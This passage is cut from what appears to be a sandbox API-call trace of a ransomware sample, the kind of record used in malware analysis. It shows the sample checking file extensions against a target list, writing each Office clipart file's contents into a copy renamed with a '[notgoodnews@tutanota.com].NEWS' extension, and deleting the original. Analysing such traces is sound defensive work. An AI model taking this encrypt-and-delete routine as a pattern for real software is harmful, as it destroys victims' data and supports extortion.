-1 [0267.861] lstrlenW (lpString=".ppt") returned 4 [0267.862] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0267.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0267.862] lstrlenW (lpString=".zip") returned 4 [0267.862] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0267.862] lstrlenW (lpString=".rar") returned 4 [0267.862] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0267.862] lstrlenW (lpString=".bz2") returned 4 [0267.862] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0267.862] lstrlenW (lpString=".7z") returned 3 [0267.862] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0267.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0267.862] lstrlenW (lpString=".dbf") returned 4 [0267.863] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0267.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0267.863] lstrlenW (lpString=".1cd") returned 4 [0267.863] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0267.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0267.863] lstrlenW (lpString=".jpg") returned 4 [0267.863] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0267.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0267.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0267.863] lstrlenW (lpString=".doc") returned 4 [0267.864] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0267.864] lstrlenW (lpString=".docx") returned 5 [0267.864] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0267.864] lstrlenW (lpString=".pdf") returned 4 [0267.864] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0267.864] lstrlenW (lpString=".xls") returned 4 [0267.864] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0267.864] lstrlenW (lpString=".xlsx") returned 5 [0267.864] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0267.864] lstrlenW (lpString=".ppt") returned 4 [0267.864] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0267.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0267.865] lstrlenW (lpString=".zip") returned 4 [0267.865] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0267.865] lstrlenW (lpString=".rar") returned 4 [0267.865] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0267.865] lstrlenW (lpString=".bz2") returned 4 [0267.865] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0267.865] lstrlenW (lpString=".7z") returned 3 [0267.865] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0267.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0267.865] lstrlenW (lpString=".dbf") returned 4 [0267.865] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0267.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0267.866] lstrlenW (lpString=".1cd") returned 4 [0267.866] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0267.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0267.866] lstrlenW (lpString=".jpg") returned 4 [0267.866] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0267.866] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0267.866] lstrlenW (lpString="BL00524_.WMF") returned 12 [0267.867] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0267.868] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x342ff1c | out: lpFileSize=0x342ff1c*=6996) returned 1 [0267.868] CloseHandle (hObject=0x3a0) returned 1 [0267.868] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf")) returned 0x20 [0267.868] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0267.868] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0267.869] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0267.869] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0267.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0267.870] GetLastError () returned 0x0 [0267.870] ReadFile (in: hFile=0x3a0, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0x1b54, lpOverlapped=0x0) returned 1 [0269.322] WriteFile (in: hFile=0x3cc, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x1b60, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0x1b60, lpOverlapped=0x0) returned 1 [0269.893] ReadFile (in: hFile=0x3a0, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0x0, lpOverlapped=0x0) returned 1 [0269.893] WriteFile (in: hFile=0x3cc, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0xec, lpOverlapped=0x0) returned 1 [0269.893] SetEndOfFile (hFile=0x3cc) returned 1 [0269.894] CloseHandle (hObject=0x3cc) returned 1 [0269.894] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0269.894] SetEndOfFile (hFile=0x3a0) returned 1 [0269.910] CloseHandle (hObject=0x3a0) returned 1 [0269.911] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0270.032] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf")) returned 1 [0270.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0270.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0270.201] lstrlenW (lpString=".doc") returned 4 [0270.201] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.201] lstrlenW (lpString=".docx") returned 5 [0270.201] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.201] lstrlenW (lpString=".pdf") returned 4 [0270.201] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.201] lstrlenW (lpString=".xls") returned 4 [0270.201] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.201] lstrlenW (lpString=".xlsx") returned 5 [0270.201] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.201] lstrlenW (lpString=".ppt") returned 4 [0270.201] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0270.202] lstrlenW (lpString=".zip") returned 4 [0270.202] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.202] lstrlenW (lpString=".rar") returned 4 [0270.202] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.202] lstrlenW (lpString=".bz2") returned 4 [0270.202] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.202] lstrlenW (lpString=".7z") returned 3 [0270.202] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0270.202] lstrlenW (lpString=".dbf") returned 4 [0270.202] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0270.202] lstrlenW (lpString=".1cd") returned 4 [0270.202] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0270.203] lstrlenW (lpString=".jpg") returned 4 [0270.203] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0270.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0270.203] lstrlenW (lpString=".doc") returned 4 [0270.203] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.203] lstrlenW (lpString=".docx") returned 5 [0270.203] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.203] lstrlenW (lpString=".pdf") returned 4 [0270.203] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.204] lstrlenW (lpString=".xls") returned 4 [0270.204] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.204] lstrlenW (lpString=".xlsx") returned 5 [0270.204] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.204] lstrlenW (lpString=".ppt") returned 4 [0270.204] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0270.204] lstrlenW (lpString=".zip") returned 4 [0270.204] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.204] lstrlenW (lpString=".rar") returned 4 [0270.204] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.204] lstrlenW (lpString=".bz2") returned 4 [0270.205] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.205] lstrlenW (lpString=".7z") returned 3 [0270.205] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0270.205] lstrlenW (lpString=".dbf") returned 4 [0270.205] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0270.205] lstrlenW (lpString=".1cd") returned 4 [0270.205] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0270.205] lstrlenW (lpString=".jpg") returned 4 [0270.205] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.206] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0270.206] lstrlenW (lpString="BOATINST.WMF") returned 12 [0270.206] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0270.207] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x342ff1c | out: lpFileSize=0x342ff1c*=29004) returned 1 [0270.207] CloseHandle (hObject=0x3a0) returned 1 [0270.207] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf")) returned 0x20 [0270.207] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0270.208] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0270.208] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.208] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.208] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0270.209] GetLastError () returned 0x0 [0270.209] ReadFile (in: hFile=0x3a0, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0x714c, lpOverlapped=0x0) returned 1 [0270.249] WriteFile (in: hFile=0x3c4, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x7150, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0x7150, lpOverlapped=0x0) returned 1 [0270.254] ReadFile (in: hFile=0x3a0, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0x0, lpOverlapped=0x0) returned 1 [0270.255] WriteFile (in: hFile=0x3c4, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0xec, lpOverlapped=0x0) returned 1 [0270.255] SetEndOfFile (hFile=0x3c4) returned 1 [0270.255] CloseHandle (hObject=0x3c4) returned 1 [0270.256] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.256] SetEndOfFile (hFile=0x3a0) returned 1 [0270.265] CloseHandle (hObject=0x3a0) returned 1 [0270.265] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0270.266] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf")) returned 1 [0270.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0270.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0270.267] lstrlenW (lpString=".doc") returned 4 [0270.267] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.267] lstrlenW (lpString=".docx") returned 5 [0270.267] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0270.267] lstrlenW (lpString=".pdf") returned 4 [0270.267] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.267] lstrlenW (lpString=".xls") returned 4 [0270.267] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.267] lstrlenW (lpString=".xlsx") returned 5 [0270.267] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0270.268] lstrlenW (lpString=".ppt") returned 4 [0270.268] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0270.268] lstrlenW (lpString=".zip") returned 4 [0270.268] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.268] lstrlenW (lpString=".rar") returned 4 [0270.268] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.268] lstrlenW (lpString=".bz2") returned 4 [0270.268] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.268] lstrlenW (lpString=".7z") returned 3 [0270.268] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0270.268] lstrlenW (lpString=".dbf") returned 4 [0270.268] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0270.269] lstrlenW (lpString=".1cd") returned 4 [0270.269] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0270.269] lstrlenW (lpString=".jpg") returned 4 [0270.269] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0270.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0270.269] lstrlenW (lpString=".doc") returned 4 [0270.270] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.270] lstrlenW (lpString=".docx") returned 5 [0270.270] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0270.270] lstrlenW (lpString=".pdf") returned 4 [0270.270] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.270] lstrlenW (lpString=".xls") returned 4 [0270.270] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.270] lstrlenW (lpString=".xlsx") returned 5 [0270.270] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0270.270] lstrlenW (lpString=".ppt") returned 4 [0270.270] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0270.270] lstrlenW (lpString=".zip") returned 4 [0270.271] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.271] lstrlenW (lpString=".rar") returned 4 [0270.271] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.271] lstrlenW (lpString=".bz2") returned 4 [0270.271] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.271] lstrlenW (lpString=".7z") returned 3 [0270.271] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0270.271] lstrlenW (lpString=".dbf") returned 4 [0270.271] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0270.271] lstrlenW (lpString=".1cd") returned 4 [0270.271] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0270.272] lstrlenW (lpString=".jpg") returned 4 [0270.272] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.272] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0270.272] lstrlenW (lpString="BS00078_.WMF") returned 12 [0270.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0270.919] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x342ff1c | out: lpFileSize=0x342ff1c*=1444) returned 1 [0270.919] CloseHandle (hObject=0x3cc) returned 1 [0270.919] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf")) returned 0x20 [0270.959] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0270.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0270.960] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.960] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0270.961] GetLastError () returned 0x0 [0270.961] ReadFile (in: hFile=0x3cc, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0x5a4, lpOverlapped=0x0) returned 1 [0270.967] WriteFile (in: hFile=0x384, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0270.972] ReadFile (in: hFile=0x3cc, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0x0, lpOverlapped=0x0) returned 1 [0270.972] WriteFile (in: hFile=0x384, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0xec, lpOverlapped=0x0) returned 1 [0270.972] SetEndOfFile (hFile=0x384) returned 1 [0270.972] CloseHandle (hObject=0x384) returned 1 [0270.973] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.973] SetEndOfFile (hFile=0x3cc) returned 1 [0270.980] CloseHandle (hObject=0x3cc) returned 1 [0270.981] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0270.982] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf")) returned 1 [0270.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0270.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0270.983] lstrlenW (lpString=".doc") returned 4 [0270.983] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.984] lstrlenW (lpString=".docx") returned 5 [0270.984] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.984] lstrlenW (lpString=".pdf") returned 4 [0270.984] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.984] lstrlenW (lpString=".xls") returned 4 [0270.984] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.984] lstrlenW (lpString=".xlsx") returned 5 [0270.984] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.984] lstrlenW (lpString=".ppt") returned 4 [0270.984] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0270.985] lstrlenW (lpString=".zip") returned 4 [0270.985] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.985] lstrlenW (lpString=".rar") returned 4 [0270.985] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.985] lstrlenW (lpString=".bz2") returned 4 [0270.985] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.985] lstrlenW (lpString=".7z") returned 3 [0270.985] lstrcmpiW 